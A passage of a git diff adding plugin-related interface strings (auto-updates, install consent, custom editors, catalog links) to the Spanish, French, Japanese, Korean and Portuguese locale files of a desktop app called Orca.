{ + "updateNeedsReview": "La actualización requiere revisión", + "updatedTo": "Actualizado a {{value0}}", + "devUnverified": "Desarrollo · sin verificar" + }, + "PluginContributionActionNewFile": { + "create": "Crear" } }, "right": { @@ -16516,13 +16550,29 @@ "message": "Un plugin puede abrir archivos .{{value0}}: {{value1}}", "view": "Ver plugin", "notNow": "Ahora no", - "never": "No sugerir para .{{value0}}" + "never": "No sugerir para .{{value0}}", + "editorMessage": "Un plugin añade un editor para archivos .{{value0}}: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "Elegir un emoji" }, "richMarkdownBlobImagePaste": { "saveFailed": "No se pudo guardar la imagen pegada junto al documento. Es posible que no se cargue después de reiniciar Orca." + }, + "PluginCustomEditorFrame": { + "loading": "Cargando editor…", + "unresponsive": "{{value0}} dejó de responder. Cambia a Código fuente para seguir editando.", + "loadFailed": "No se pudo cargar {{value0}}. Cambia a Código fuente para editar este archivo.", + "editTooLarge": "Este archivo es demasiado grande para que {{value0}} guarde cambios. Usa Código fuente.", + "saveBlocked": "No se pudieron guardar los últimos cambios de {{value0}}.", + "editsHeld": "{{value0}} envía cambios demasiado rápido; Orca aplicará el más reciente en breve.", + "largeFile": "Archivo grande: puede tardar un momento." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Reintentar", + "tooLarge": "{{value0}} es demasiado grande para abrirse en {{value1}} ({{value2}}; el límite es {{value3}}).", + "unsupported": "{{value0}} no puede leer este archivo desde donde está almacenado. Actualiza el servidor de Orca que lo aloja o cambia a Código fuente.", + "readFailed": "No se pudo leer {{value0}} para {{value1}}. {{value2}}" } }, "diff": { @@ -16851,7 +16901,8 @@ }, "pluginQuickActions": { "description": "Comando del plugin {{value0}}", - "keyword": "comando del plugin" + "keyword": "comando del plugin", + "newFileDescription": "Crea un archivo {{value0}} sin título en el espacio de trabajo activo." } } }, @@ -18141,7 +18192,8 @@ "notInstalled": "No instalados" }, "PluginListGroup": { - "showAll": "Mostrar {{value0}} más" + "showAll": "Mostrar {{value0}} más", + "showAllTotal": "Mostrar los {{value0}} plugins" }, "PluginListRow": { "official": "Oficial" @@ -18649,6 +18701,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} instalaciones" + }, + "PluginCatalogLinkDialog": { + "failed": "No se pudo añadir este catálogo.", + "title": "¿Añadir el catálogo {{value0}}?", + "cancel": "Cancelar", + "add": "Añadir catálogo", + "body": "Un enlace pidió mostrar {{value0}} de este catálogo. Añade catálogos solo de personas en las que confíes." } } }, diff --git a/src/renderer/src/i18n/locales/fr.json b/src/renderer/src/i18n/locales/fr.json index 278c7272237..6e80731fb5d 100644 --- a/src/renderer/src/i18n/locales/fr.json +++ b/src/renderer/src/i18n/locales/fr.json @@ -1121,6 +1121,13 @@ "pluginNewFile": { "unavailable": "{{value0}} n’est plus disponible. Réactivez son plugin.", "failed": "Impossible de créer le fichier." + }, + "pluginAutoUpdates": { + "one": "{{value0}} mis à jour vers {{value1}}", + "many": "{{value0}} plugins mis à jour" + }, + "pluginInstallLink": { + "invalid": "Ce lien de plugin n’est pas valide." } }, "lib": { @@ -11780,7 +11787,8 @@ "pathLabel": "Chemin du dossier de plugin de développement", "placeholder": "Chemin d'un dossier de plugin", "add": "Ajouter un chemin", - "reviewHelp": "Vérifié une fois. Les modifications de code suivantes s'exécutent sans demander." + "reviewHelp": "Vérifié une fois. Les modifications de code suivantes s'exécutent sans demander.", + "dialogTitle": "Dossiers de développement" }, "PluginInstallDialog": { "localRequired": "Saisissez le chemin du dossier du plugin.", @@ -12964,7 +12972,9 @@ "repository": "Dépôt", "stoppedDataBody": "Impossible de charger ses fichiers. Redémarrez pour réessayer.", "newerBody": "Le catalogue a changé pendant votre visite.", - "showNewer": "Voir la nouvelle" + "showNewer": "Voir la nouvelle", + "newerTitle": "Une version plus récente est disponible", + "alsoListedBy": "Également proposé par {{value0}}. Les mises à jour proviennent uniquement du catalogue d’installation ; pour en changer, supprimez-le puis réinstallez-le." }, "PluginDetailSections": { "typeLanguagePack": "Langue de l’interface", @@ -13014,7 +13024,9 @@ "rollbackTo": "Revenir à {{value0}}…", "copyContentHash": "Copier le hash du contenu", "reviewUpdate": "Vérifier la mise à jour", - "dataLoadFailed": "Impossible de charger ses fichiers" + "dataLoadFailed": "Impossible de charger ses fichiers", + "updateNeedsReview": "la mise à jour {{value0}} doit être relue", + "updatedTo": "mis à jour vers {{value0}}" }, "PluginSettingsOverview": { "offTitle": "Les plugins sont désactivés" @@ -13077,20 +13089,27 @@ "dark": "Sombre", "light": "Clair", "languageIncomplete": "Traduit à {{value0}} %, trop incomplet pour servir de langue à Orca", - "languageCoverage": "Langue de l’interface · traduite à {{value0}} %" + "languageCoverage": "Langue de l’interface · traduite à {{value0}} %", + "newFileMenu": "S’ajoute au menu +" }, "PluginInstallConsent": { "noOtherAccess": "Aucun autre accès", "replacesShortcut": "{{value0}} ({{value1}}) remplace votre raccourci pour {{value2}}.", "updatesKeepApproval": "Les mises à jour ne redemandent que pour un nouvel accès", "fullAccessUpdates": "Les mises à jour peuvent modifier son code sans demander", - "editsFileTypes": "Ouvre et modifie les fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre." + "editsFileTypes": "Ouvre et modifie les fichiers {{value0}} dans Orca. Il peut lire les fichiers qu’il ouvre.", + "install": "Installer et activer", + "keepOff": "Laisser désactivé" }, "PluginPageAction": { - "contentOnly": "Contenu uniquement" + "contentOnly": "Contenu uniquement", + "failedTitle": "Impossible d’installer {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Ne redemande que pour un nouvel accès" + "autoUpdateHint": "Ne redemande que pour un nouvel accès", + "label": "Paramètres des plugins", + "development": "Dossiers de développement…", + "autoUpdateLabel": "Mettre à jour les plugins automatiquement" }, "PluginInUseAction": { "inUseDark": "Utilisé · Sombre", @@ -13211,6 +13230,21 @@ "cancel": "Annuler", "addFolder": "Ajouter le dossier", "install": "Installer" + }, + "PluginPageHero": { + "screenshots": "Captures d’écran", + "openScreenshot": "Ouvrir la capture d’écran : {{value0}}", + "position": "{{value0}} sur {{value1}}", + "previous": "Capture précédente", + "next": "Capture suivante" + }, + "PluginChips": { + "updateNeedsReview": "Mise à jour à relire", + "updatedTo": "Mis à jour vers {{value0}}", + "devUnverified": "Dév · non vérifié" + }, + "PluginContributionActionNewFile": { + "create": "Créer" } }, "right": { @@ -16740,13 +16774,29 @@ "message": "Un plugin peut ouvrir les fichiers .{{value0}} : {{value1}}", "view": "Voir le plugin", "notNow": "Pas maintenant", - "never": "Ne plus suggérer pour .{{value0}}" + "never": "Ne plus suggérer pour .{{value0}}", + "editorMessage": "Un plugin ajoute un éditeur pour les fichiers .{{value0}} : {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "Choisir un emoji" }, "richMarkdownBlobImagePaste": { "saveFailed": "Impossible d’enregistrer l’image collée à côté du document. Elle risque de ne pas se charger après le redémarrage d’Orca." + }, + "PluginCustomEditorFrame": { + "loading": "Chargement de l’éditeur…", + "unresponsive": "{{value0}} ne répond plus. Passez à Source pour continuer à modifier.", + "loadFailed": "Impossible de charger {{value0}}. Passez à Source pour modifier ce fichier.", + "editTooLarge": "Ce fichier est trop volumineux pour que {{value0}} enregistre les modifications. Utilisez Source à la place.", + "saveBlocked": "Impossible d’enregistrer les dernières modifications de {{value0}}.", + "editsHeld": "{{value0}} envoie des modifications trop vite ; Orca appliquera la plus récente sous peu.", + "largeFile": "Fichier volumineux — cela peut prendre un moment." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Réessayer", + "tooLarge": "{{value0}} est trop volumineux pour s’ouvrir dans {{value1}} ({{value2}} ; la limite est de {{value3}}).", + "unsupported": "{{value0}} ne peut pas lire ce fichier depuis son emplacement. Mettez à jour le serveur Orca qui l’héberge ou passez à Source.", + "readFailed": "Impossible de lire {{value0}} pour {{value1}}. {{value2}}" } }, "diff": { @@ -17075,7 +17125,8 @@ }, "pluginQuickActions": { "description": "commande du plugin {{value0}}", - "keyword": "commande de plugin" + "keyword": "commande de plugin", + "newFileDescription": "Créer un fichier {{value0}} sans titre dans l’espace de travail actif." } } }, @@ -18365,7 +18416,8 @@ "notInstalled": "Non installés" }, "PluginListGroup": { - "showAll": "Afficher {{value0}} de plus" + "showAll": "Afficher {{value0}} de plus", + "showAllTotal": "Afficher les {{value0}} plugins" }, "PluginListRow": { "official": "Officiel" @@ -18869,6 +18921,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} installations" + }, + "PluginCatalogLinkDialog": { + "failed": "Impossible d’ajouter ce catalogue.", + "title": "Ajouter le catalogue {{value0}} ?", + "cancel": "Annuler", + "add": "Ajouter le catalogue", + "body": "Un lien a demandé d’afficher {{value0}} depuis ce catalogue. N’ajoutez des catalogues que de personnes de confiance." } } }, diff --git a/src/renderer/src/i18n/locales/ja.json b/src/renderer/src/i18n/locales/ja.json index 277716afe0b..9f0275a02c3 100644 --- a/src/renderer/src/i18n/locales/ja.json +++ b/src/renderer/src/i18n/locales/ja.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}} は利用できなくなりました。プラグインを再度オンにしてください。", "failed": "ファイルを作成できませんでした。" + }, + "pluginAutoUpdates": { + "one": "{{value0}} を {{value1}} にアップデートしました", + "many": "{{value0}} 件のプラグインをアップデートしました" + }, + "pluginInstallLink": { + "invalid": "このプラグインのリンクは無効です。" } }, "lib": { @@ -11280,7 +11287,8 @@ "pathLabel": "開発用プラグインのフォルダーパス", "placeholder": "プラグインフォルダーのパス", "add": "パスを追加", - "reviewHelp": "確認は一度だけ。その後のコード変更は確認なしで実行されます。" + "reviewHelp": "確認は一度だけ。その後のコード変更は確認なしで実行されます。", + "dialogTitle": "開発フォルダー" }, "PluginInstallDialog": { "localRequired": "プラグインフォルダーのパスを入力してください。", @@ -12452,7 +12460,9 @@ "repository": "リポジトリ", "stoppedDataBody": "ファイルを読み込めませんでした。再起動して再試行してください。", "newerBody": "表示中にカタログが更新されました。", - "showNewer": "新しい版を表示" + "showNewer": "新しい版を表示", + "newerTitle": "新しいバージョンがあります", + "alsoListedBy": "{{value0}} にも掲載されています。アップデートはインストール元のカタログからのみ届きます。切り替えるには、削除してから再インストールしてください。" }, "PluginDetailSections": { "typeLanguagePack": "表示言語", @@ -12502,7 +12512,9 @@ "rollbackTo": "{{value0}} に戻す…", "copyContentHash": "コンテンツハッシュをコピー", "reviewUpdate": "アップデートを確認", - "dataLoadFailed": "ファイルを読み込めませんでした" + "dataLoadFailed": "ファイルを読み込めませんでした", + "updateNeedsReview": "アップデート {{value0}} のレビューが必要です", + "updatedTo": "{{value0}} にアップデート済み" }, "PluginSettingsOverview": { "offTitle": "プラグインはオフです" @@ -12565,20 +12577,27 @@ "dark": "ダーク", "light": "ライト", "languageIncomplete": "{{value0}}% 翻訳済み。Orca の言語として使うには不完全です", - "languageCoverage": "インターフェース言語 · {{value0}}% 翻訳済み" + "languageCoverage": "インターフェース言語 · {{value0}}% 翻訳済み", + "newFileMenu": "+ メニューに追加" }, "PluginInstallConsent": { "noOtherAccess": "その他のアクセスはありません", "replacesShortcut": "{{value0}}({{value1}})が {{value2}} のショートカットを置き換えます。", "updatesKeepApproval": "アップデートは新しいアクセスがあるときだけ確認します", "fullAccessUpdates": "アップデートで確認なしにコードが変わることがあります", - "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取れます。" + "editsFileTypes": "Orca で {{value0}} ファイルを開いて編集します。開いたファイルを読み取れます。", + "install": "インストールして有効化", + "keepOff": "オフのままにする" }, "PluginPageAction": { - "contentOnly": "コンテンツのみ" + "contentOnly": "コンテンツのみ", + "failedTitle": "{{value0}} をインストールできませんでした" }, "PluginSettingsMenu": { - "autoUpdateHint": "新しいアクセスがあるときだけ確認します" + "autoUpdateHint": "新しいアクセスがあるときだけ確認します", + "label": "プラグイン設定", + "development": "開発フォルダー…", + "autoUpdateLabel": "プラグインを自動でアップデート" }, "PluginInUseAction": { "inUseDark": "使用中 · ダーク", @@ -12699,6 +12718,21 @@ "cancel": "キャンセル", "addFolder": "フォルダーを追加", "install": "インストール" + }, + "PluginPageHero": { + "screenshots": "スクリーンショット", + "openScreenshot": "スクリーンショットを開く: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "前のスクリーンショット", + "next": "次のスクリーンショット" + }, + "PluginChips": { + "updateNeedsReview": "アップデートのレビューが必要", + "updatedTo": "{{value0}} にアップデート済み", + "devUnverified": "開発 · 未検証" + }, + "PluginContributionActionNewFile": { + "create": "作成" } }, "right": { @@ -16113,13 +16147,29 @@ "message": ".{{value0}} ファイルを開けるプラグインがあります: {{value1}}", "view": "プラグインを表示", "notNow": "今はしない", - "never": ".{{value0}} では提案しない" + "never": ".{{value0}} では提案しない", + "editorMessage": "プラグインが .{{value0}} ファイル用のエディターを追加します: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "絵文字を選択" }, "richMarkdownBlobImagePaste": { "saveFailed": "貼り付けた画像をドキュメントの隣に保存できませんでした。Orca の再起動後に読み込めない場合があります。" + }, + "PluginCustomEditorFrame": { + "loading": "エディターを読み込み中…", + "unresponsive": "{{value0}} が応答しなくなりました。編集を続けるにはソースに切り替えてください。", + "loadFailed": "{{value0}} を読み込めませんでした。このファイルを編集するにはソースに切り替えてください。", + "editTooLarge": "このファイルは大きすぎるため、{{value0}} では変更を保存できません。代わりにソースを使用してください。", + "saveBlocked": "{{value0}} からの最新の変更を保存できませんでした。", + "editsHeld": "{{value0}} からの変更の送信が速すぎます。Orca はまもなく最新の変更を適用します。", + "largeFile": "大きなファイルです。少し時間がかかる場合があります。" + }, + "PluginBytesCustomEditorSurface": { + "retry": "再試行", + "tooLarge": "{{value0}} は大きすぎるため {{value1}} で開けません({{value2}}、上限は {{value3}})。", + "unsupported": "{{value0}} はこのファイルの保存場所から読み取れません。ホストしている Orca サーバーをアップデートするか、ソースに切り替えてください。", + "readFailed": "{{value1}} 用に {{value0}} を読み取れませんでした。{{value2}}" } }, "diff": { @@ -16442,7 +16492,8 @@ }, "pluginQuickActions": { "description": "{{value0}} プラグインのコマンド", - "keyword": "プラグインのコマンド" + "keyword": "プラグインのコマンド", + "newFileDescription": "アクティブなワークスペースに無題の {{value0}} ファイルを作成します。" } } }, @@ -17679,7 +17730,8 @@ "notInstalled": "未インストール" }, "PluginListGroup": { - "showAll": "さらに {{value0}} 件を表示" + "showAll": "さらに {{value0}} 件を表示", + "showAllTotal": "{{value0}} 件のプラグインをすべて表示" }, "PluginListRow": { "official": "公式" @@ -18175,6 +18227,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} 件のインストール" + }, + "PluginCatalogLinkDialog": { + "failed": "このカタログを追加できませんでした。", + "title": "カタログ {{value0}} を追加しますか?", + "cancel": "キャンセル", + "add": "カタログを追加", + "body": "リンクがこのカタログの {{value0}} の表示を求めています。カタログは信頼できる相手からのものだけを追加してください。" } } }, diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json index 8df7c31f324..db93a15b449 100644 --- a/src/renderer/src/i18n/locales/ko.json +++ b/src/renderer/src/i18n/locales/ko.json @@ -893,6 +893,13 @@ "pluginNewFile": { "unavailable": "{{value0}}을(를) 더 이상 사용할 수 없습니다. 해당 플러그인을 다시 켜세요.", "failed": "파일을 만들 수 없습니다." + }, + "pluginAutoUpdates": { + "one": "{{value0}}을(를) {{value1}}(으)로 업데이트했습니다", + "many": "플러그인 {{value0}}개를 업데이트했습니다" + }, + "pluginInstallLink": { + "invalid": "유효하지 않은 플러그인 링크입니다." } }, "lib": { @@ -11280,7 +11287,8 @@ "pathLabel": "개발 플러그인 폴더 경로", "placeholder": "플러그인 폴더 경로", "add": "경로 추가", - "reviewHelp": "한 번만 검토합니다. 이후 코드 변경은 묻지 않고 실행됩니다." + "reviewHelp": "한 번만 검토합니다. 이후 코드 변경은 묻지 않고 실행됩니다.", + "dialogTitle": "개발 폴더" }, "PluginInstallDialog": { "localRequired": "플러그인 폴더 경로를 입력하세요.", @@ -12452,7 +12460,9 @@ "repository": "저장소", "stoppedDataBody": "파일을 불러오지 못했습니다. 다시 시작해 재시도하세요.", "newerBody": "보는 동안 카탈로그가 변경되었습니다.", - "showNewer": "새 버전 보기" + "showNewer": "새 버전 보기", + "newerTitle": "새 버전을 사용할 수 있습니다", + "alsoListedBy": "{{value0}}에도 등록되어 있습니다. 업데이트는 설치한 카탈로그에서만 받습니다. 바꾸려면 제거한 뒤 다시 설치하세요." }, "PluginDetailSections": { "typeLanguagePack": "인터페이스 언어", @@ -12502,7 +12512,9 @@ "rollbackTo": "{{value0}}(으)로 되돌리기…", "copyContentHash": "콘텐츠 해시 복사", "reviewUpdate": "업데이트 검토", - "dataLoadFailed": "파일을 불러오지 못했습니다" + "dataLoadFailed": "파일을 불러오지 못했습니다", + "updateNeedsReview": "업데이트 {{value0}} 검토 필요", + "updatedTo": "{{value0}}(으)로 업데이트됨" }, "PluginSettingsOverview": { "offTitle": "플러그인이 꺼져 있습니다" @@ -12565,20 +12577,27 @@ "dark": "다크", "light": "라이트", "languageIncomplete": "{{value0}}% 번역됨. Orca 언어로 사용하기에는 너무 불완전합니다", - "languageCoverage": "인터페이스 언어 · {{value0}}% 번역됨" + "languageCoverage": "인터페이스 언어 · {{value0}}% 번역됨", + "newFileMenu": "+ 메뉴에 추가" }, "PluginInstallConsent": { "noOtherAccess": "다른 접근 권한 없음", "replacesShortcut": "{{value0}}({{value1}})이(가) {{value2}}의 단축키를 대체합니다.", "updatesKeepApproval": "업데이트는 새 접근 권한이 있을 때만 다시 묻습니다", "fullAccessUpdates": "업데이트가 묻지 않고 코드를 바꿀 수 있습니다", - "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수 있습니다." + "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수 있습니다.", + "install": "설치 및 사용", + "keepOff": "끈 상태로 유지" }, "PluginPageAction": { - "contentOnly": "콘텐츠만" + "contentOnly": "콘텐츠만", + "failedTitle": "{{value0}}을(를) 설치할 수 없습니다" }, "PluginSettingsMenu": { - "autoUpdateHint": "새 접근 권한이 있을 때만 다시 묻습니다" + "autoUpdateHint": "새 접근 권한이 있을 때만 다시 묻습니다", + "label": "플러그인 설정", + "development": "개발 폴더…", + "autoUpdateLabel": "플러그인 자동 업데이트" }, "PluginInUseAction": { "inUseDark": "사용 중 · 다크", @@ -12699,6 +12718,21 @@ "cancel": "취소", "addFolder": "폴더 추가", "install": "설치" + }, + "PluginPageHero": { + "screenshots": "스크린샷", + "openScreenshot": "스크린샷 열기: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "이전 스크린샷", + "next": "다음 스크린샷" + }, + "PluginChips": { + "updateNeedsReview": "업데이트 검토 필요", + "updatedTo": "{{value0}}(으)로 업데이트됨", + "devUnverified": "개발 · 미검증" + }, + "PluginContributionActionNewFile": { + "create": "만들기" } }, "right": { @@ -16113,13 +16147,29 @@ "message": ".{{value0}} 파일을 열 수 있는 플러그인: {{value1}}", "view": "플러그인 보기", "notNow": "나중에", - "never": ".{{value0}}에 대해 제안하지 않기" + "never": ".{{value0}}에 대해 제안하지 않기", + "editorMessage": "플러그인이 .{{value0}} 파일용 편집기를 추가합니다: {{value1}}" }, "RichMarkdownEmojiMenu": { "chooseEmoji": "이모지 선택" }, "richMarkdownBlobImagePaste": { "saveFailed": "붙여 넣은 이미지를 문서 옆에 저장할 수 없습니다. Orca를 다시 시작한 후 불러오지 못할 수 있습니다." + }, + "PluginCustomEditorFrame": { + "loading": "편집기 로드 중…", + "unresponsive": "{{value0}}이(가) 응답하지 않습니다. 계속 편집하려면 소스로 전환하세요.", + "loadFailed": "{{value0}}을(를) 불러올 수 없습니다. 이 파일을 편집하려면 소스로 전환하세요.", + "editTooLarge": "파일이 너무 커서 {{value0}}에서 변경 사항을 저장할 수 없습니다. 대신 소스를 사용하세요.", + "saveBlocked": "{{value0}}의 최신 변경 사항을 저장할 수 없습니다.", + "editsHeld": "{{value0}}이(가) 변경 사항을 너무 빠르게 보내고 있습니다. Orca가 곧 최신 변경 사항을 적용합니다.", + "largeFile": "큰 파일입니다. 잠시 걸릴 수 있습니다." + }, + "PluginBytesCustomEditorSurface": { + "retry": "다시 시도", + "tooLarge": "{{value0}}은(는) 너무 커서 {{value1}}에서 열 수 없습니다({{value2}}, 한도는 {{value3}}).", + "unsupported": "{{value0}}은(는) 이 파일이 저장된 위치에서 읽을 수 없습니다. 파일을 호스팅하는 Orca 서버를 업데이트하거나 소스로 전환하세요.", + "readFailed": "{{value1}}에서 사용할 {{value0}}을(를) 읽을 수 없습니다. {{value2}}" } }, "diff": { @@ -16442,7 +16492,8 @@ }, "pluginQuickActions": { "description": "{{value0}} 플러그인 명령", - "keyword": "플러그인 명령" + "keyword": "플러그인 명령", + "newFileDescription": "활성 작업 공간에 제목 없는 {{value0}} 파일을 만듭니다." } } }, @@ -17679,7 +17730,8 @@ "notInstalled": "설치 안 됨" }, "PluginListGroup": { - "showAll": "{{value0}}개 더 보기" + "showAll": "{{value0}}개 더 보기", + "showAllTotal": "플러그인 {{value0}}개 모두 보기" }, "PluginListRow": { "official": "공식" @@ -18175,6 +18227,13 @@ }, "pluginInstallCount": { "installs": "{{value0}}회 설치" + }, + "PluginCatalogLinkDialog": { + "failed": "이 카탈로그를 추가할 수 없습니다.", + "title": "카탈로그 {{value0}}을(를) 추가할까요?", + "cancel": "취소", + "add": "카탈로그 추가", + "body": "링크가 이 카탈로그의 {{value0}}을(를) 표시하도록 요청했습니다. 신뢰할 수 있는 사람의 카탈로그만 추가하세요." } } }, diff --git a/src/renderer/src/i18n/locales/pt.json b/src/renderer/src/i18n/locales/pt.json index 7488a15b297..d8ad8cd3472 100644 --- a/src/renderer/src/i18n/locales/pt.json +++ b/src/renderer/src/i18n/locales/pt.json @@ -2095,6 +2095,13 @@ "pluginNewFile": { "unavailable": "{{value0}} não está mais disponível. Ative o plugin dele novamente.", "failed": "Não foi possível criar o arquivo." + }, + "pluginAutoUpdates": { + "one": "{{value0}} atualizado para {{value1}}", + "many": "{{value0}} plugins atualizados" + }, + "pluginInstallLink": { + "invalid": "Esse link de plugin não é válido." } }, "hooks": { @@ -6463,7 +6470,8 @@ "storage": "Guardar os próprios dados", "secrets": "Guardar os próprios segredos criptografados", "settingsOwn": "Ler e alterar as próprias configurações", - "terminalRun": "Executar comandos nos seus terminais, incluindo SSH" + "terminalRun": "Executar comandos nos seus terminais, incluindo SSH", + "agentsRead": "Receber avisos quando o status de um agente mudar" }, "decisionFailed": "Não foi possível salvar a decisão de permissão. Tente novamente.", "fullAccessWarning": "Acesso total: é executado como um programa normal e pode ler seus arquivos, usar a rede e executar outros programas.", @@ -6594,7 +6602,8 @@ "viewLogs": "Ver logs", "disableLabel": "Desativar {{value0}}", "enableLabel": "Ativar {{value0}}", - "invalidPluginError": "O manifesto do plugin ou os arquivos instalados são inválidos. Corrija o plugin e atualize." + "invalidPluginError": "O manifesto do plugin ou os arquivos instalados são inválidos. Corrija o plugin e atualize.", + "syntaxFailed": "O realce parou: esta gramática falhou." }, "WslCliRegistration": { "c6f6f89d7c": "Cancelar", @@ -7306,7 +7315,9 @@ "fbb428db98": "Selecionado:", "search_terminal_themes": "Pesquisar temas de terminal", "cb330ef7f8": " de {{value0}}", - "c822571b2e": " correspondendo a \"{{value0}}\"" + "c822571b2e": " correspondendo a \"{{value0}}\"", + "plugin_themes": "Plugins", + "from_plugin": "De {{value0}}" }, "auto": { "rename": { @@ -7568,7 +7579,10 @@ "title": "Plugins", "description": "Temas, idiomas, comandos e mais.", "logsFailed": "Não foi possível carregar os logs do plugin.", - "rollbackFailed": "Não foi possível reverter este plugin. Uma versão imutável anterior pode não estar disponível." + "rollbackFailed": "Não foi possível reverter este plugin. Uma versão imutável anterior pode não estar disponível.", + "alpha": "Alfa", + "fileTypeSuggestionsLabel": "Sugerir plugins para arquivos desconhecidos", + "restartFailed": "Não foi possível reiniciar {{value0}}." }, "OpenInMenuSetting": { "03b00b1f64": "App personalizado", @@ -8286,7 +8300,8 @@ "pathLabel": "Caminho da pasta do plugin de desenvolvimento", "placeholder": "Caminho para uma pasta de plugin", "add": "Adicionar caminho", - "reviewHelp": "Revisado uma vez. Edições de código depois rodam sem perguntar." + "reviewHelp": "Revisado uma vez. Edições de código depois rodam sem perguntar.", + "dialogTitle": "Pastas de desenvolvimento" }, "GeneralPane": { "confirm_running_work_close": "Confirmar antes de fechar chats ou terminais ativos", @@ -9218,7 +9233,11 @@ }, "PluginContributionActionCommand": { "needsWorkspace": "Requer um workspace aberto", - "seeLogs": "Veja os logs abaixo" + "seeLogs": "Veja os logs abaixo", + "run": "Executar", + "runName": "Executar {{value0}}", + "ran": "{{value0}} executado", + "failed": "{{value0}} falhou" }, "PluginContributionActionPanel": { "open": "Abrir painel", @@ -9239,7 +9258,15 @@ "repository": "Repositório", "newerBody": "O catálogo mudou enquanto você estava aqui.", "showNewer": "Ver a nova", - "stoppedDataBody": "Não foi possível carregar os arquivos. Reinicie para tentar de novo." + "stoppedDataBody": "Não foi possível carregar os arquivos. Reinicie para tentar de novo.", + "bundled": "Incluído no Orca", + "localFolder": "Pasta local", + "gitUrl": "URL do Git", + "stoppedTitle": "Parado após um erro", + "invalidTitle": "O Orca não consegue carregar este plugin", + "needsOrcaTitle": "Requer o Orca {{value0}} ou posterior", + "newerTitle": "Versão mais recente disponível", + "alsoListedBy": "Também listado por {{value0}}. As atualizações vêm apenas do catálogo de onde foi instalado; para trocar, remova-o e instale-o novamente." }, "PluginDetailSections": { "typeLanguagePack": "Idioma da interface", @@ -9259,14 +9286,20 @@ "accessFailed": "Não foi possível ler o acesso", "retry": "Tentar de novo", "noAccessReach": "Nada fora dos próprios arquivos", - "customEditor": "Editor" + "customEditor": "Editor", + "panel": "Painel da barra lateral", + "recipe": "Receita de máquina", + "logs": "Logs", + "copyLogs": "Copiar" }, "PluginInstallConsent": { "noOtherAccess": "Nenhum outro acesso", "replacesShortcut": "{{value0}} ({{value1}}) substitui seu atalho de {{value2}}.", "updatesKeepApproval": "Atualizações só perguntam de novo por novo acesso", "fullAccessUpdates": "Atualizações podem mudar o código sem perguntar", - "editsFileTypes": "Abre e edita arquivos {{value0}} no Orca. Pode ler os arquivos que abre." + "editsFileTypes": "Abre e edita arquivos {{value0}} no Orca. Pode ler os arquivos que abre.", + "install": "Instalar e ativar", + "keepOff": "Manter desativado" }, "PluginManagerRows": { "reinstall": "Reinstalar", @@ -9287,13 +9320,24 @@ "rollbackTo": "Reverter para {{value0}}…", "copyContentHash": "Copiar hash do conteúdo", "reviewUpdate": "Revisar atualização", - "dataLoadFailed": "Não foi possível carregar os arquivos" + "dataLoadFailed": "Não foi possível carregar os arquivos", + "copied": "ID do plugin copiado", + "copyFailed": "Não foi possível copiar o ID do plugin.", + "details": "Detalhes", + "unverified": "Não verificado", + "updateAvailable": "atualização {{value0}} disponível", + "updateNeedsReview": "atualização {{value0}} precisa de revisão", + "updatedTo": "atualizado para {{value0}}" }, "PluginPageAction": { - "contentOnly": "Somente conteúdo" + "contentOnly": "Somente conteúdo", + "failedTitle": "Não foi possível instalar {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Só pergunta de novo por novo acesso" + "autoUpdateHint": "Só pergunta de novo por novo acesso", + "label": "Configurações de plugins", + "development": "Pastas de desenvolvimento…", + "autoUpdateLabel": "Atualizar plugins automaticamente" }, "PluginUpdateAllDialog": { "allAccess": "Ver todo o acesso", @@ -9309,20 +9353,34 @@ "previewError": "Não foi possível ler esta atualização", "sourceMoved": "Nova fonte: {{value0}} (antes {{value1}})", "update": "Atualizar", - "review": "Revisar" + "review": "Revisar", + "failed": "Não foi possível atualizar {{value0}}. Os outros foram atualizados.", + "cancel": "Cancelar", + "updateOne": "Atualizar 1 plugin", + "updateMany": "Atualizar {{value0}} plugins", + "failedAll": "Não foi possível atualizar {{value0}}. Nada foi atualizado.", + "close": "Fechar", + "retry": "Tentar novamente", + "updated": "Atualizado" }, "PluginThemeUseNow": { "useForLight": "Usar no claro:", "useForDark": "Usar no escuro:", "assignedLight": "{{value0}} definido como tema claro", "assignedDark": "{{value0}} definido como tema escuro", - "saveFailed": "Não foi possível salvar o tema. Tente novamente." + "saveFailed": "Não foi possível salvar o tema. Tente novamente.", + "label": "Usar agora:" }, "AppearanceInterfaceSection": { "lightTheme": "Tema claro", "darkTheme": "Tema escuro", "themeSlot": { "description": "Cores do app para este modo." + }, + "pluginIconTheme": { + "title": "Tema de ícones", + "description": "Ícones de arquivos e pastas de um plugin ativado.", + "builtIn": "Integrado" } }, "PluginInUseAction": { @@ -9341,7 +9399,11 @@ "needsReview": "Precisa de revisão", "restarting": "Reiniciando", "running": "Em execução", - "blocked": "Bloqueado" + "blocked": "Bloqueado", + "stopped": "Parado", + "cantLoad": "Não carrega", + "off": "Desativado", + "on": "Ativado" }, "notification": { "settings": { @@ -9425,7 +9487,10 @@ "updated": "Atualizado", "license": "Licença", "whatsNew": "Novidades", - "installs": "Instalações" + "installs": "Instalações", + "hashCopied": "Hash de conteúdo copiado", + "hashCopyFailed": "Não foi possível copiar o hash.", + "readme": "Ler o README no {{value0}}" }, "PluginFilterPopover": { "kind": "Categoria", @@ -9461,7 +9526,18 @@ "updateAll": "Atualizar tudo…", "notFromCatalog": "fora de catálogo", "allInstalledTitle": "Todos os plugins do catálogo estão instalados", - "showInstalled": "Mostrar plugins instalados" + "showInstalled": "Mostrar plugins instalados", + "verified": "verificado", + "unverified": "não verificado", + "catalogLoading": "Catálogo", + "catalogFailedTitle": "Não foi 